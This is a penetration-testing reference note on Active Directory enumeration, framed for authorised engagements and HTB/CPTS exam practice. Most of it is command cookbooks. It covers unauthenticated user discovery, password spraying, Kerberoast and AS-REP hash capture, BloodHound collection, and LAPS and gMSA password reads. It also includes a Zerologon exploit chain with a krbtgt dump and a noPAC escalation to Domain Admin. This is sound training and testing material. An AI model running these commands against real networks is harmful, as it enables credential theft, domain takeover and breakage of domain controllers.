FLOW^:Pentest Workflow

Stage 04 — Active Directory Enumeration

Pentest attack-flow reference for stage 04 — active directory enumeration in an authorised engagement.

intermediateupdated 2026-08-29BloodHound · ldapsearch · NetExec · PowerView

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 07 of 17 · Focus: Stage 04 — Active Directory Enumeration

Previous: Stage 03 — Service Enumeration · Next: Stage 05 — Kerberos Attacks


🏰 STAGE 4 — Active Directory Enumeration

Once Stage 1 shows 88 / 389 / 445 / 636 / 3268 open I know I’m on a DC. The whole game here: turn “I can reach the DC” into a username list → any valid cred → a full LDAP dump → a BloodHound graph with an edge to Domain Admin. That’s the order I actually work it, creds or no creds.

Two habits keep this stage from collapsing into noise: (1) every command output that proves something gets saved to loot/ with a timestamp — the enumeration log becomes the report evidence in Stage 11; (2) every identity found goes into a running creds table (user / source / where valid / privs) — that table is the spray list, the BloodHound owned-set, and the lateral-movement menu all at once.

[!note] Setup assumed Vars from the setup block: $IP $DOMAIN $DC $LHOST $U $P. Before any Kerberos-based tool touches the box, fix /etc/hosts, /etc/krb5.conf and clock skew or everything dies silently — full kit in AD_Pentest_Tools_Cheat_Sheet. For a two-label domain I derive the base DN inline: DC=${DOMAIN%%.*},DC=${DOMAIN##*.} (e.g. domain.htb → DC=domain,DC=htb).


🧭 Methodology order — the only sequence that matters

AD enumeration is state-driven, not tool-driven. I move down this ladder and loop back up the moment my access level changes:

AD enumeration loopTD
No credsnull/guest SMB, anon LDAP, RID brute Username listkerbrute userenum + RID cycle + email patterns AS-REP roast (no creds needed)+ ONE careful password spray Any valid credvalidate on smb/ldap/winrm/winrm everywhere Credentialed LDAP vacuumusers, groups, SPNs, policy, descriptions BloodHound collectionmark owned, path to DA New cred / new edge? Pick an edgeroast / ACL abuse / LAPS / gMSA / CVE one-shot Stage 5 Kerberos · Stage 6 ACL · Stage 7 ADCS yes no
StepStateGoalPrimary tools
1No credsNaming context, password policy, user listNetExec, ldapsearch, enum4linux-ng, kerbrute
2User listValid usernames without lockoutskerbrute userenum, RID brute
3User list → cred bridgeMint first cred with zero lockout riskGetNPUsers.py (AS-REP), one spray under threshold
4One valid credConfirm validity + reachnxc smb/ldap/winrm validation
5CredentialedFull directory dumpnxc ldap, ldapdomaindump, PowerView
6CredentialedGraph + attack pathBloodHound CE + SharpHound
7LoopEvery new identity = re-run 4–6 as that identityall of the above

[!tip] CPTS exam rhythm The exam expects this exact loop: unauth enum → user list → AS-REP or spray → credentialed enum → BloodHound → edge → new principal → re-enumerate as the new principal. Skipping the re-enum step is the #1 reason people stall — a new user often has readable shares, ReadLAPS rights, or ACL edges the first user never had.

[!abstract]- MITRE ATT&CK map for this stage

TechniqueWhere in this note
T1087.001/.002 — Account Discovery (local/domain)4.1 RID brute, 4.3 --users, PowerView
T1069.001/.002 — Permission Groups Discovery4.3 --groups, net group /domain
T1201 — Password Policy Discovery4.1 --pass-pol, net accounts /domain
T1135 — Network Share Discovery4.3 --shares, Snaffler section
T1482 — Domain Trust DiscoveryLDAP cookbook, Get-DomainTrustMapping
T1558.004 — AS-REP Roasting4.1 kerbrute --hash-file, Stage 5
T1110.003 — Password Sprayingspray loop, Stage 08
T1033 — System Owner/User Discoverysession enum (--sessions, PsLoggedOn)

| T1558.003 — Kerberoasting | 4.3 --kerberoasting (exploit in Stage 05) | | T1212 — Exploitation for Credential Access (LAPS/gMSA reads) | LAPS & gMSA section |


4.1 Unauthenticated — no creds yet

What to look for: anonymous/guest SMB + LDAP, a valid username list, RID-cycled names, AS-REP-roastable accounts, the domain naming context.

Enumerate

# Null / guest SMB — this is the nxc "enum4linux replacement" combo
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u '' -p '' --users
nxc smb $IP -u 'guest' -p '' --shares            # guest fallback when null is blocked
nxc smb $IP -u '' -p '' --pass-pol               # READ THIS before any spray
nxc smb $IP -u '' -p '' --rid-brute              # cycle RIDs 500+ into names

# enum4linux-ng — the classic one-shot (users/groups/shares/policy, JSON+YAML out)
enum4linux-ng -A $IP -oA recon/enum4linux
enum4linux-ng -U $IP        # users only
enum4linux-ng -P $IP        # password policy only

# Anonymous LDAP — grab the base DN, then blind-dump if binds are allowed
ldapsearch -x -H ldap://$DC -b "" -s base namingContexts
ldapsearch -x -H ldap://$DC -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(objectClass=*)" > ldap_anon.txt

# Kerbrute — validate usernames off port 88, NO lockout risk
kerbrute userenum -d $DOMAIN --dc $DC \
  -o valid_users.txt --hash-file asrep.txt -v \
  /usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt

[!tools] Stage this — kerbrute (both platforms staged in vault) kerbrute_linux_amd64 (SHA-256 · GPG signature) kerbrute_windows_amd64.exe (SHA-256 · GPG signature) Canonical source: ropnop/kerbrute. Wordlists from SecLists (statistically-likely-usernames, xato-net-10-million-usernames) or generate from employee names with username-anarchy / linkedin2username — see Stage 00.

Exploit / pivot from unauth

# RID brute → clean userlist for kerbrute / spraying
nxc smb $IP -u '' -p '' --rid-brute | grep -i SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt

# Feed a confirmed list back into kerbrute (still no lockout on userenum)
kerbrute userenum -d $DOMAIN --dc $DC -o valid_users.txt users.txt

# kerbrute --hash-file may already have captured AS-REP hashes (pre-auth disabled)
# asrep.txt → hashcat -m 18200 ; roasting/cracking lives in Stage 5, see Hashcat-Cheatsheet

# Pre-Windows 2000 compatible check: machine account = lowercase name minus '$' as password
nxc ldap $DC -u '' -p '' -M pre2k                              # unauth discovery of pre2k computers
# then try each as user=COMPUTERNAME (lowercase, no $), password=same

[!tip] pre2k — the quietest first cred When a computer account is created with the “Assign this computer account as a pre-Windows 2000 computer” box ticked, its password is set to the computer name in lowercase, truncated to 14 chars, without the trailing $ — and the account is often left disabled-but-guessable. nxc ldap -M pre2k lists candidates; verify with nxc smb $IP -u <name> -p <name>. It’s a valid domain cred from nothing, which unlocks all of 4.3. Detection: Event 4741/4742 on computer creation, plus KDC 4768 failures with the $-less sAMAccountName pattern.

The Pre-Windows 2000 Compatible Access group is the other side of the same coin: if Everyone / Anonymous Logon / Authenticated Users were ever dropped into the built-in Pre-Windows 2000 Compatible Access group, anonymous binds can read most user/group attributes — that’s why ldapsearch anon dumps and --rid-brute sometimes work. Check what survives:

# does anon read work at all? (rootDSE works even when it doesn't)
ldapsearch -x -H ldap://$DC -b "" -s base namingContexts defaultNamingContext
# enum4linux-ng -A output flags it as "Users via anonymous" when the group is permissive
enum4linux-ng -A $IP | grep -i -A3 'pre-windows\|anonymous'

[!warning] Watch out

  • kerbrute needs the clock within 5 min of the KDC — clock skew too great → sudo ntpdate $IP. Always pass --dc $DC so it never falls back to DNS.
  • userenum does not lock accounts; passwordspray / bruteuser do — pull --pass-pol first and always add --safe.
  • The subcommand is kerbrute userenum, not kerbrute user (that errors).
  • --rid-brute / anonymous LDAP only work if the DC allows null binds (Pre-Windows 2000 Compatible Access). No output ≠ empty domain.
  • Kerbrute validation is loud in aggregate: every check is an AS-REQ → Event 4768 per username. A 10k-name list is 10k 4768s; use --threads modestly and prefer a curated list (statistically-likely-usernames) over bulk dictionary.

4.2 Got a cred — validate it everywhere first

What to look for: where the cred is valid, and whether it’s already local admin (Pwn3d!).

Enumerate

# Validate on every protocol — [+] valid, [-] invalid, Pwn3d! = local admin
nxc smb   $IP -u "$U" -p "$P"
nxc ldap  $DC -u "$U" -p "$P"
nxc winrm $DC -u "$U" -p "$P"          # Pwn3d! here = evil-winrm shell, Stage 6
nxc mssql $DC -u "$U" -p "$P"          # svc accounts often hit MSSQL too
nxc rdp   $DC -u "$U" -p "$P"          # RDP reach (screenshot-friendly check)
# Pass-the-hash instead of a password:
nxc smb   $IP -u "$U" -H "$HASH"

[!warning] Watch out STATUS_LOGON_FAILURE with a cred you know is good = usually a domain problem, not a bad password. Add -d $DOMAIN, target the FQDN $DC, or --local-auth for a SAM account. Kerberos failures → FQDN target + fixed DNS/clock.

[!success] The doctrine: new creds = rerun everything as that identity Every validated credential is a new enumeration context, not a trophy. The moment a spray hit or crack lands:

  1. nxc smb/ldap/winrm validate the new identity everywhere (4.2).
  2. Re-vacuum LDAP as that user (4.3) — new description/info/share access often appears.
  3. Re-run BloodHound as that identity (4.5) and mark it Owned — its group memberships and ACL edges may open a path the previous user never had.
  4. Retry LAPS/gMSA reads and the share sweep. This loop is the methodology; the HTB/CPTS boxes are built so the 2nd or 3rd identity holds the winning edge.

4.3 Credentialed enumeration — vacuum SMB + LDAP with nxc

What to look for: full user/group/computer lists, share access, password policy, low-hanging AD misconfigs (adminCount, delegation, no-preauth).

Enumerate

# SMB side — shares, users, groups, sessions
nxc smb $IP -u "$U" -p "$P" --shares --users --groups --pass-pol
nxc smb $IP -u "$U" -p "$P" --loggedon-users --sessions
nxc smb $IP -u "$U" -p "$P" --users --users-export users.txt   # dump list to file

# LDAP side — the richer view (this is where the AD gold is)
nxc ldap $DC -u "$U" -p "$P" --users
nxc ldap $DC -u "$U" -p "$P" --groups
nxc ldap $DC -u "$U" -p "$P" --computers
nxc ldap $DC -u "$U" -p "$P" --pass-pol
nxc ldap $DC -u "$U" -p "$P" --admin-count               # adminCount=1 → high value
nxc ldap $DC -u "$U" -p "$P" --password-not-required
nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation
nxc ldap $DC -u "$U" -p "$P" --find-delegation
nxc ldap $DC -u "$U" -p "$P" --get-sid

# Roast discovery straight from LDAP (crack/exploit in Stage 5)
nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.txt
nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerberoast.txt

# Descriptions/user-desc modules — passwords hide in these fields constantly
nxc ldap $DC -u "$U" -p "$P" -M user-desc
nxc ldap $DC -u "$U" -p "$P" -M get-desc-users

nxc LDAP flag table — what each flag actually answers:

FlagQuestion answeredFollow-up
--users / --users-exportWho exists? (build the spray list)prune by badPwdCount before spraying
--groupsGroup memberships, privileged groupshunt nested Domain Admins members
--computersHosts + OS versions in the domainold OS = soft privesc targets (Stage 9)
--pass-polLockout threshold/window, complexitysets the spray rate math
--admin-countadminCount=1 objects (SDProp-protected)high-value targets for roast/ACL abuse
--password-not-requiredPASSWD_NOTREQD accountstry blank passwords; classic misconfig
--trusted-for-delegationUnconstrained delegation hostscoerce a DC to it → Stage 5
--find-delegationAll delegation (unconstrained/constrained/RBCD)Stage 5 delegation attacks
--asreproast <file>DONT_REQ_PREAUTH accounts + AS-REP hasheshashcat -m 18200, Stage 05
--kerberoasting <file>SPN accounts + TGS hasheshashcat -m 13100, Stage 05
--gmsaReadable gMSA passwords → NT hashesspend ReadGMSAPassword edges
-M lapsReadable LAPS passwordslocal admin on those hosts
-M pre2kPre-Windows 2000 computer accountspassword = lowercase name
-M user-desc / -M get-desc-usersPasswords in description fieldsfree creds, always run
-M maqMachineAccountQuota (can I add a computer?)RBCD prerequisite, Stage 5/6
-M adcsADCS enrollment servers/templateshands off to Stage 07
--bloodhound --collection AllIn-line SharpHound-equivalent collection4.5 ingest
--get-sidDomain SIDneeded for ticket forgery, Stage 5

[!tip] Password spray from a known-valid base Once one cred works, spray it (or one seasonal password) across the whole userlist — but respect the lockout policy you already pulled:

nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2

4.4 LDAP tooling — ldapsearch, ldapdomaindump, ldeep, windapsearch, bloodyAD

The LDAP tools I reach for, in order of surgical → automated:

ldapsearch — surgical, one filter at a time. Modern syntax: -H ldap:// (never -h), -x simple bind, -LLL for clean output.

# Base recon + auth test
ldapsearch -x -H ldap://$DC -b "" -s base namingContexts
ldapsearch -LLL -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}"

# All users with the fields that leak creds — check info AND description
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(objectClass=user)" sAMAccountName mail userAccountControl description info memberOf

# Hunt passwords in the info field (this WAS the creds on Support)
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" "(info=*)" info cn sAMAccountName

# Kerberoastable (has SPN)
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

# AS-REP roastable (DONT_REQ_PREAUTH bit)
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName

# Accounts with constrained delegation configured
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo

# Domain Controllers only
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" \
  -b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
  "(userAccountControl:1.2.840.113556.1.4.803:=8192)" cn dNSHostName

ldapsearch query cookbook — the “what do I want” → filter table (base B="DC=${DOMAIN%%.*},DC=${DOMAIN##*.}", auth -D "$U@$DOMAIN" -w "$P"):

I want…FilterAttributes to pull
All users(objectClass=user)sAMAccountName mail description info memberOf
Domain/Enterprise Admins(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,$B)sAMAccountName
SPN (kerberoastable) users(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))sAMAccountName servicePrincipalName
AS-REP roastable(userAccountControl:1.2.840.113556.1.4.803:=4194304)sAMAccountName
All computers(objectClass=computer)cn dNSHostName operatingSystem operatingSystemVersion
Computers by OS (e.g. 2012)(&(objectClass=computer)(operatingSystem=*2012*))cn operatingSystem
GPOs(objectClass=groupPolicyContainer)displayName gPCFileSysPath
OUs(objectClass=organizationalUnit)ou distinguishedName gPLink
Domain trusts(objectClass=trustedDomain)name trustDirection trustAttributes
Password policy (domain root)-s base -b "$B" "(objectClass=domain)"minPwdLength lockoutThreshold lockOutObservationWindow maxPwdAge
Descriptions with creds(&(objectCategory=user)(description=*))sAMAccountName description
Mail attributes(&(objectClass=user)(mail=*))sAMAccountName mail
Never-expiring passwords(userAccountControl:1.2.840.113556.1.4.803:=65536)sAMAccountName
Disabled accounts(userAccountControl:1.2.840.113556.1.4.803:=2)sAMAccountName
MachineAccountQuota-s base -b "$B" "(objectClass=domain)"ms-DS-MachineAccountQuota
LAPS-readable hosts(ms-Mcs-AdmPwd=*)cn ms-Mcs-AdmPwd
ACLs on a specific objectbase = object DN, -s base "(objectClass=*)"nTSecurityDescriptor (SDDL — parse with bloodyAD/StandIn)

ldapdomaindump — the whole domain to HTML+JSON in one shot. Best “just give me everything greppable” tool: dirkjanm/ldapdomaindump.

ldapdomaindump -u "$DOMAIN\\$U" -p "$P" $DC -o ldapdump      # or use $IP if DNS is flaky
# then hunt creds + privileged users in the JSON
grep -i "info\|description" ldapdump/domain_users.json | grep -v '""'
jq '.[] | select(.info != "") | {name:.name, info:.info}' ldapdump/domain_users.json
jq -r '.[].name' ldapdump/domain_users.json > users.txt
# browse the tables: cd ldapdump && python3 -m http.server 8000

ldeep — ldapdomaindump’s modern rival (franc-pentest/ldeep): same full-dump idea but with per-topic verbs, Kerberos/ccache auth, and JSON output that pipes cleanly:

ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC all ldeep_out/    # everything
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC users -v          # verbose users
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC delegations       # all delegation types
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa              # readable gMSAs
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC trusts
ldeep ldap -u "$U" -k -d $DOMAIN -s ldaps://$DC all out/              # ccache auth via KRB5CCNAME

windapsearch — canned queries as flags (ropnop/windapsearch) when I don’t want to write filter syntax:

windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --da                        # Domain Admins
windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --computers
windapsearch -d $DOMAIN --dc $DC -u "$U" -p "$P" --unconstrained-delegation

bloodyAD — read what my cred can actually touch (CravateRouge/bloodyAD) (and later, weaponize it):

# What objects is THIS principal allowed to write? (fastest ACL-edge finder from CLI)
bloodyAD -d $DOMAIN -u "$U" -p "$P" --host $DC get writable
# bloodyAD also does the write side (reset pw, add to group, set RBCD, disable preauth) — Stage 5/6

adidnsdump — the hidden host list (dirkjanm/adidnsdump): AD-integrated DNS keeps the zone in LDAP, so any domain user can dump every DNS record — a complete internal host inventory (including hosts that don’t respond to ping) with zero scanning traffic:

adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC --dns-tcp
# records.csv → every A/AAAA/CNAME; grep for *-dc*, *sql*, *web* to build the target map

[!tip] “Which LDAP tool?” (exam recall) ldapsearch = precise single filters · ldapdomaindump = full HTML/JSON dump for grepping · ldeep = modern dump with verbs + Kerberos auth · windapsearch = queries-as-flags · nxc ldap = fast enum + roast/bloodhound · bloodyAD get writable = what your cred can modify. Anonymous namingContexts probe comes before all of them. Port discovery back in Stage 1 was rustscan -a $IP --ulimit 5000 -- -sC -sV then nmap AD scripts.

[!warning] Watch out

  • info and description fields hold plaintext passwords far more often than they should — always dump both.
  • Quote passwords in single quotes; ldapdomaindump wants a double backslash in DOMAIN\\user.
  • LDAPS (636) sometimes binds where plain LDAP is restricted: ldapsearch -H ldaps://$DC:636 ... / ldapdomaindump ... -l ldaps://$DC:636.
  • Simple binds (-x -w) send the password in cleartext over plain LDAP — on a real engagement that’s both a credential-exposure issue and an easy NDR detection. Prefer -k/Kerberos or ldaps:// where possible.

4.5 The payoff — BloodHound → pick an edge

This is why I enumerate at all: dump the graph, mark what I own, let it show me the path to DA. Collect the moment I have any cred, even low-priv. Current platform: BloodHound CE (SpecterOps). Legacy BloodHound 4.x is end-of-life but still lurks in older lab images.

[!tools] Stage this — SharpHound collector (exe + ps1 in one zip) SharpHound.zip (SHA-256 · GPG signature) Canonical source: SpecterOps/SharpHound. Linux collectors: bloodhound-ce-python (CE-schema) and RustHound-CE (fast Rust collector, CE-compatible). Collector schema must match the ingestor — check the table below.

Legacy vs CE — the compatibility trap:

Legacy BloodHound 4.xBloodHound CE
Linux collectorbloodhound-python (old BloodHound.py branch)bloodhound-ce-python or RustHound-CE
Windows collectorSharpHound 1.xSharpHound 2.x (shipped in the vault zip)
JSON schemalegacy v4CE/opengraph — not interchangeable
BackendNeo4j desktop appPostgres + API + web UI (docker)
Ingestdrag-drop zip into GUIAdministration → File Ingest
Cypherlegacy property names (highvalue, hasspn…)renamed properties; use CE Query Library first

[!danger] Wrong-schema ingestion fails silently — files “upload OK” but produce an empty or mis-parsed graph. If the graph is weird after ingest, schema mismatch is the first suspect, before DNS.

Collect (Linux, remote)

# BloodHound CE (current) — CE-schema JSON. -ns MUST be the DC IP or the graph comes back empty
bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -dc $DC -ns $IP -c All --zip

# RustHound-CE — faster on big domains, same CE schema
rusthound-ce -d $DOMAIN -u "$U" -p "$P" -f $DC -i $IP -c All --zip

# Legacy BloodHound (older labs only — DIFFERENT json schema, not interchangeable)
bloodhound-python -c all -u "$U" -p "$P" -d $DOMAIN -ns $IP --zip

# Pass-the-hash / Kerberos variants
bloodhound-ce-python -d $DOMAIN -u "$U" --hashes :$HASH -ns $IP -c All --zip
export KRB5CCNAME=$(pwd)/$U.ccache
bloodhound-ce-python -d $DOMAIN -u "$U" -k -no-pass -dc $DC -ns $IP -c All --zip

# Stealth first pass — pure LDAP, no SMB/host touches
bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $IP -c DCOnly --zip

# Or let nxc do collection + zip in one line
nxc ldap $DC -u "$U" -p "$P" --bloodhound --collection All --dns-server $IP

Collect (from a Windows foothold — SharpHound) when I already have a shell / need session data:

.\SharpHound.exe -c All -d $DOMAIN --DomainController $IP --ZipFileName loot.zip
.\SharpHound.exe -c DCOnly            # quiet, LDAP-only
.\SharpHound.exe -c Session --Loop --Loopduration 02:00:00 --LoopInterval 00:10:00   # session hunting

Collection flag picker:

Flag / methodGets youCost
-c All / --collection AllEverything: groups, sessions, local admins, ACLs, trustsLoud — touches every host over SMB/RPC
-c DCOnlyUsers, groups, ACLs, trusts, GPOs — LDAP to the DC onlyQuiet; no session/local-admin edges
-c Session (+--Loop)Logged-on sessions (the lateral-movement edges)Medium; needs rights on targets
-c LoggedOnPrivileged sessions only (needs local admin)Louder, higher value
--zipCompress output for exfil/ingestAlways on for remote collectors
-c All --stealth (SharpHound)Slower, single-threaded, avoids some signaturesTime

Ingest → analyze: BHCE web UI → Administration → File Ingest → Upload, drop the zip. Mark every principal I own as Owned so pathfinding stays relevant, then run the built-ins + this CE cypher starter set:

/* Shortest path to Domain Admins from anything I own */
MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group))
WHERE g.objectid ENDS WITH '-512'
RETURN p LIMIT 25

/* Kerberoastable / AS-REP roastable (verify property names against your CE dataset) */
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

/* ACL abuse edges I care about */
MATCH p=(u)-[r:GenericWrite]->(t) RETURN p
MATCH p=(u)-[r:ReadGMSAPassword]->(g) RETURN p
MATCH p=(u)-[r:AllowedToDelegate]->(c) RETURN p

/* Where Domain Users are local admin, and unconstrained delegation boxes */
MATCH p=(g:Group)-[:AdminTo]->(c:Computer) WHERE g.name STARTS WITH 'DOMAIN USERS@' RETURN p
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

CE cypher starter table — copy/paste per question:

QuestionCypher
Shortest paths to DA from ownedMATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group)) WHERE g.objectid ENDS WITH '-512' RETURN p
Kerberoastable usersMATCH (u:User {hasspn:true}) RETURN u.name
AS-REP roastable usersMATCH (u:User {dontreqpreauth:true}) RETURN u.name
Unconstrained delegationMATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
All owned principalsMATCH (n {owned:true}) RETURN n.name, labels(n)
Sessions (who’s logged on where)MATCH p=(u:User)-[:HasSession]->(c:Computer) RETURN p
Outbound ACL edges from my userMATCH p=(u:User {name:'$U@$DOMAIN'})-[r]->(t) RETURN p
DCSync-capable principalsMATCH p=(n)-[:DCSync]->(d:Domain) RETURN p

Run-first checklist: shortest path to DA from owned → Kerberoastable/AS-REP → delegation (unconstrained + constrained) → DCSync/dangerous ACL rights → ADCS escalation (CE) → sessions on high-value hosts. Each surviving edge hands off to Stage 5: roast with Rubeus-Cheatsheet / Impacket-Cheatsheet, ACL abuse with bloodyAD, ADCS with Certipy-ADCS-Cheatsheet, validate local admin with nxc.

[!warning] Watch out

  • Empty graph = DNS, not auth. Set -ns $IP (the DC), add --dns-tcp, and make sure -d is the FQDN.
  • CE vs legacy are NOT interchangeable — bloodhound-ce-python → BloodHound CE; bloodhound-python → legacy. Wrong schema mis-parses silently. SharpHound build must match your CE version too.
  • DCOnly gives no session edges — you need -c All/Session (and rights) for lateral-movement pathing.
  • Legacy blog Cypher often returns 0 on CE (property/label renames) — prefer the CE Query Library and validate property names on a node.
  • Kerberos collection under clock skew fails — wrap with faketime (faketime-cheatsheet) or sync to the DC.

💥 DC One-Shot CVE Checkpoint

What to look for → before grinding ACLs, spend 30 seconds checking whether the DC is vulnerable to an instant-DA CVE. Two are worth a reflexive check on every unpatched-looking DC.

Check + exploit

# Zerologon (CVE-2020-1472) — unauth, sets DC$ password to empty
nxc smb $DC -u '' -p '' -M zerologon                        # SAFE check
python3 cve-2020-1472-exploit.py ${DC%%.*} $IP              # sets DC$ pw empty (DESTRUCTIVE)
secretsdump.py -just-dc-user krbtgt "$DOMAIN"/"${DC%%.*}\$"@$DC -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
python3 restorepassword.py "$DOMAIN"/"${DC%%.*}"@$DC -target-ip $IP   # RESTORE — mandatory

# noPAC / Sam-the-Admin (CVE-2021-42278/42287) — any domain user → DA
nxc smb $DC -u "$U" -p "$P" -M nopac                        # check
python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap

[!warning] Watch out — Zerologon BREAKS the DC Emptying the DC$ machine password kills AD replication, trusts and SYSVOL until you restore it. Dump krbtgt (the 31d6… hash is the empty-password NT hash), then immediately run restorepassword.py — don’t leave a lab (or exam range) broken. noPAC needs MachineAccountQuota > 0. Deep dives: 🔵 Attack · 🔵 Attack. Full noPAC/sAMAccountName-spoof flow lives in Stage 05.


🔐 Credential-Bearing Attributes — LAPS & gMSA

What to look for → two AD attributes that hand you a password if your user has the read ACL (BloodHound draws these as ReadLAPSPassword and ReadGMSAPassword edges). Always test both as every new user — a low-priv account with the right read = instant local admin or a DA-equivalent service hash.

LAPS — local admin password in cleartext

nxc ldap $DC -u "$U" -p "$P" --module laps               # dump every readable LAPS pw
nxc smb  $DC -u "$U" -p "$P" --laps                       # same via SMB
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "dc=${DOMAIN%%.*},dc=${DOMAIN#*.}" \
  '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd                       # raw LDAP (LAPS v1 attr)

Dedicated dumpers: LAPSToolkit (PowerShell, includes Get-LAPSComputers + Find-LAPSDelegatedGroups to see who can read LAPS), pyLAPS (Python, remote), SharpLAPS (C#, on-host). Discovery of the delegation (who holds read) matters as much as the read itself — target those principals in Stage 6.

Import-Module .\LAPSToolkit.ps1
Get-LAPSComputers                        # hosts with LAPS + passwords my token can read
Find-LAPSDelegatedGroups                 # who has been DELEGATED read rights (targets!)

gMSA — service account NT hash (spends the ReadGMSAPassword edge)

nxc ldap $DC -u "$U" -p "$P" --gmsa                       # prints the NTLM of readable gMSAs
python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DC  # standalone — github.com/micahvandeusen/gMSADumper
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC get object 'svc_gmsa$' --attr msDS-ManagedPassword
ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa

gMSADumper is the one-shot: any cred → tries to read every gMSA’s msDS-ManagedPassword blob and prints NTLM hashes ready for PtH.

[!tip] Where these lead LAPS pw → local admin on that host → PtH/loot it in STAGE 10. gMSA hash → if the gMSA is DA-equivalent or has DCSync (check BloodHound), it is the domain — this is the Fluffy/Intelligence-class path. Deep dives: 🔷 Attack · 🔷 Attack.


📂 Shares & file-content hunting — Snaffler

What to look for: readable shares first, then files inside shares that contain credentials — unattend.xml, web.config, scripts with embedded passwords, KeePass databases, passwords.xlsx. Share loot bridges Stage 4 → Stage 8: a single found cred restarts the whole loop.

Enumerate shares, then hunt content:

# Map readable shares as the current identity
nxc smb $IP -u "$U" -p "$P" --shares
nxc smb $IP -u "$U" -p "$P" -M spider_plus                 # auto-crawl + JSON inventory per share
smbmap -H $IP -u "$U" -p "$P" -d "$DOMAIN" -R              # recursive listing (github.com/ShawnDEvans/smbmap)

# spider_plus output → triage the inventory before pulling files
jq -r 'to_entries[] | .key as $share | .value | keys[] | "\($share)/\(.)"' \
  ~/.nxc/modules/spider_plus/*.json | grep -Ei 'unattend|\.kdbx|config|\.ps1|passw|cred'

[!tools] Stage this — Snaffler (the AD-aware share credential hunter) Snaffler.exe (SHA-256 · GPG signature) Canonical source: SnaffCon/Snaffler. Unlike a dumb spider, Snaffler enumerates the domain for computer targets itself, then classifies file contents by credential-likelihood rules. Run from a domain-joined foothold. Cross-ref: full workflow in Stage 08 — Credential Hunting.

.\Snaffler.exe -s -o snaffler.log                      # default: domain computers, content rules on
.\Snaffler.exe -s -i C:\loot -o snaffler.log           # restrict to a share tree I already mounted
.\Snaffler.exe --help                                  # rule tuning: -m maxSizeGrep, -z interest levels

[!warning] Watch out Snaffler reads a lot of files over SMB — heavy network + EDR-visible. Scope with -i/computer targeting on real engagements. Shares enumerated by any domain user are also exactly what modern Deception tools (honey shares) bait with: an irresistible \\SRV\IT\passwords.kdbx on an otherwise-empty server is a tell — verify the host looks real before pulling.


👥 Session & logon enumeration — where are the admins right now?

What to look for: which high-value accounts (Domain Admins, helpdesk, service accounts) have live sessions on hosts I can reach — because a session = a stealable token/cred in LSASS once I’m local admin there. This feeds BloodHound’s HasSession edges and Stage 10 lateral movement.

# Remote session enum as a low-priv user (NetSessionEnum — often allowed)
nxc smb $IP -u "$U" -p "$P" --sessions
nxc smb $IP -u "$U" -p "$P" --loggedon-users           # needs more rights (SAMR)

# Sweep a subnet for sessions to build the lateral map
nxc smb 10.10.10.0/24 -u "$U" -p "$P" --sessions | grep -B1 -i 'admin\|svc_'
# The classic: PsLoggedOn (Sysinternals) — local + remote logged-on users
.\PsLoggedOn.exe \\TARGET
# BloodHound's -c Session collection automates exactly this at scale (4.5)

[!note] PsLoggedOn concept → BloodHound PsLoggedOn/net session/--sessions are the manual version of what SharpHound -c Session does domain-wide. On a single box the manual check is quieter; at scale let the collector do it. Pair with qwinsta/quser on hosts where I already have a shell. Detection: NetSessionEnum bursts across many hosts is a known hunting signature (SharpHound “session enum” rules) — another reason DCOnly first, sessions later.

